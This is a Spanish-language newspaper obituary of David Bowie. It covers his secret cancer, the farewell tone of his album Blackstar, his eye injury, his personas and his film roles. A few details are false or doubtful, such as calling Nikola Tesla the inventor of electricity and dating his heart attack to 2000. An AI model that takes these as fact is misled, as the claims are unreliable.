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La muerte de un perfecto enigma

José Alejandro Urdaneta / Maracaibo / jurdaneta@laverdad.com
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Ambiguo, distinto, hipnótico, incomprensible. Muchas palabras podrían usarse para describir a David Bowie.

Un par de días después de su cumpleaños número 69 y del lanzamiento de un nuevo disco, David Bowie falleció tras una lucha contra el cáncer que mantenía en secreto. Casi como un plan malévolo, uno de los más influyentes de la música contemporánea, parece haber usado su álbum para quejarse y despedirse del mundo.

Un golpe en una pelea de chicos provocó la inquietante mirada que le duró toda la vida. Aquel puñetazo que recibió le dejó la pupila izquierda dilatada permanentemente. De allí que tuviese un ojo de color azul y otro gris. 

Ambiguo, distinto, hipnótico, incomprensible. Muchas palabras podrían usarse para describir a David Bowie. 

Su fallecimiento cayó casi sin avisar. Por meses luchó contra un cáncer del que poco conocían hasta ayer cuando su hijo anunció de su partida física. 

Apenas tres días antes, y conociendo con su cumpleaños número 69, había salido al mercado su disco número 25 titulado Blackstar y que ahora, conociendo las condiciones, puede entenderse como una “obra de despedida”. 

Bowie, siempre misterioso y electrizante, parecía haber expuesto su testamento en este último compacto. En algunas de sus líneas hablaba del cielo, de pájaros, de cicatrices y de dolor. Se quejaba del infarto que sufrió en el 2000 y que le privó de una vida tranquila. En el video promocional de Lazarus, el segundo promocional del álbum, aparecía en una cama, vendado, tembloroso, mientras interpretaba una extenuante canción en la que decía que “iba a ser libre”. 

Y así fue su carrera, sin barreras ni condiciones. 

Davy Jones de nacimiento cambio su nombre a David Bowie para no ser confundido con el miembro de la popular banda de los 60 The Monkees. Su debut discográfico en 1967 fue un fracaso comercial. Su camino a la fama no resultó sencillo y su paseo entre el folk y el barroco no fue bien recibido en su momento. 

Pero su segundo disco fue un verdadero despegue al espacio. El larga duración coincidió con la misión espacial del Apollo 11 en 1969 y precisamente abría con Space oddity, un tema basado en la aventura de un astronauta ficticio. A partir de allí cada disco era un nuevo experimento sonoro encadenado a un cambio de look, vestimentas y maquillajes.

Durante los 70 se creó personajes. Fue Ziggy Stardust y probó con el punk. También fue Thin White Duke. En otra etapa hizo de rebelde rockero que coqueteó con el pop y el disco. Poco tiempo se quedó estático y produjo casi un disco por año. Su mayor pausa la tomó hasta 2013 cuando después de 10 años volvía al mercado musical con The Next Day. 

Su camaleónica apariencia también la mostró en el cine con participaciones en una veintena de películas como La Última Tentación de Cristo de Martin Scorsese en la que hizo de Poncio Pilato y Basquiat en el papel de Andy Warhol. En su última aparición en el cine personificó al inventor de la electricidad Nikola Tesla en The Prestige de 2006.

Ganador de dos Grammy, vendedor de un estimado de 100 millones de discos, escogido para ser caballero del Reino Unido y con una araña nombrada como él, David Bowie, pasó los últimos años de su vida alejado de los medios y los escenarios. Su nuevo álbum Blackstar parecía ser un regreso pero fue su queja final. 

Hasta en su muerte, David Bowie encontró una enigmática forma de despedirse para su viaje al espacio infinito. 

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